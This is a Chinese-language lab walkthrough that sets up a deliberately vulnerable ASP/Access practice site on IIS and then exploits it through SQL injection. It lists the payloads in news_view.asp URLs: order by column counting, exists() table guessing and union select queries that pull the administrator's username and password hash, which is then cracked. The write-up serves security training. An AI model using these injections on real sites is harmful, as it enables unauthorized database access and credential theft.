Access靶场搭建＞靶场通关＞ 附IIS环境搭建

靶场·搭建

首先启动 IIS 服务器，并浏览根目录（这里给大家上传了靶场资源压缩包）

https://download.csdn.net/download/Nai_zui_jiang/89654172?spm=1001.2014.3001.5503https://download.csdn.net/download/Nai_zui_jiang/89654172?spm=1001.2014.3001.5503

把NZ.zip解压到放www.root根目录下，这里我已经放进去了

解压完成后，回到iis服务器点击绑定来绑定服务器地址，要不然访问本机ip访问不到

选择本机wlan 或者eth0 或者随机⼀个⽹卡的ip都⾏

然后去浏览器访问绑定的ip地址/index.asp

⾄此，环境搭建结束

IIS环境搭建

        如果大家没有IIS环境，那么这里给大家说一说IIS环境的搭建

打开控制面板，点击程序

进去后启用或关闭windows功能

我们需要打开这些功能

靶场实战

 打开网站后在首页点击新闻中心，然后任意点一个新闻

输入order by 7，页面显示正常，order by 8 显示页面异常，说明有七列

因为这个是MSSQL数据库，他没有库，只有表，所以这里我们就跳过了查询库名的过程

用下面这条语句来猜测表名

news_view.asp?id=11 and exists(select * from 表名 )

下面两条分别是从admin表和users表中查询数据，如果页面异常，则说明不存在此表

news_view.asp?id=11 and exists(select * from admin)

news_view.asp?id=11 and exists(select * from users)

页面异常，不存在此表

news_view.asp?id=11 and exists(select * from administrator) 

这个表页面正常，说明我们查到数据了

接下来我们就可以猜测字段名了

news_view.asp?id=-1 union select 1,user_name,3,4,5,6,7 from administrator

页面成功回显，存在此列

接下来用回显点3去回显他的密码

news_view.asp?id= -1 union select 1,user_name,password,4,5,6,7 from administrator

这里我们成功得到密码，我们用 md5去解密一下得到密码admin， 并去后台登录 后台地址爆破出来